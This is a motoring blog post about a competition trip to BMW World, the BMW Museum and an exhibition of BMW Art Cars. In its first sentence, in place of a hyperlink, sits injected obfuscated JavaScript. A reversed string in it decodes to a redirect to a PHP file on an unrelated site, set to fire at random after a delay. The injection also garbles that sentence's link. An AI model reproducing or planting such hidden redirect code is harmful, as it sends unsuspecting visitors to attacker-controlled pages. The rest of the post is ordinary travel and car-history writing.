Recently we were lucky enough to join the Middle East winners of the Castrol EDGE Nurburgring Experience competition on a $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/cp-at-the-ring-castrol-edge/” target=”_blank”>trip of a lifetime to Germany, where they would get the chance to test their skills on the mighty Nurburgring.
Based over three days and built around Castrol’s longstanding Technical Partnership with BMW and more specifically BMW Motorsport, we were given the chance to see, touch and feel some of the best experiences available in motoring today!
Over the next week we’re going bring a series of articles on the experience, what it was all about, what the winners got up to and even a few useful bits of technical info to help you get the best out of your car in the harsh Middle East environment!
Today we begin with our first day in Munich where we were hosted by BMW at the impressive BMW World and Museum.
BMW World or Welt, if you’re German is up to scratch, with its iconic Double Cone architecture is the showcase home of the current range of BMW products and technologies.
Its not all show and no touch though, so it’s a good place to go and get up close and personal with anything from the New Z4 to the latest in BMW’s impressive motorbike range. Without those pesky salesmen hanging around!
BMW World is also home to the increasingly popular factory collection option where, for a few hundred Euros, you can collect your shinny new car from a remote controlled spinning carrousel, complete with light show! Just don’t stall, whatever you do!!
If BMW World is the future then the BMW Museum is a shiny and exciting look into the past!
Some examples from the distant past……
and other not so distant.
To be honest, being the geeks we are, we could have spent hours making our way through the labyrinth of historical masterpieces that have shaped this great car maker, but to our surprise there was something even more exciting going on in the upper exhibition centre.
The architecture is impressive, if not a little distracting.
Now we know we’re a lucky bunch over here at crankandpiston.com but sometime we even surprise ourselves with the rub of the green we get. Because our visit to the Museum coincided with one of the biggest ever exhibitions of BMW Art Cars!!
For those of you that don’t know, BMW Art Cars were conceived and introduced by the French racing driver Hervé Poulain in 1975. As things were in those days most racing drivers had to hold down two jobs to fuel their passion. So as well as being a skilled driver, he was also a prominent auctioneer of fine art and it didn’t take him long to fuse these two passions together.
Looking back now, the link between art and cars is pretty obvious, but at the time this was a revolutionary concept and it wasn’t long before Poulain and his close friend, artist Alexander Calder were painting the first “rolling canvas”, the 1975 Le Mans BMW 3.0 CSL.
This as they say, was the birth of the BMW Art Car!
Since Calder’s 1st car 16 more have followed and as their popularity has grown so has the celebrity status of the artists. The BMW Art Car roster includes some of the most celebrated names in pop art, name such as Robert Rauschenberg, David Hockney, Jenny Holzer, Frank Stella and Andy Warhol.
Not limited to racecars, works have been based on both racing and regular production vehicles.
If the Art Car collection is ever in your neighborhood, make sure to take a look, it is well worth it!
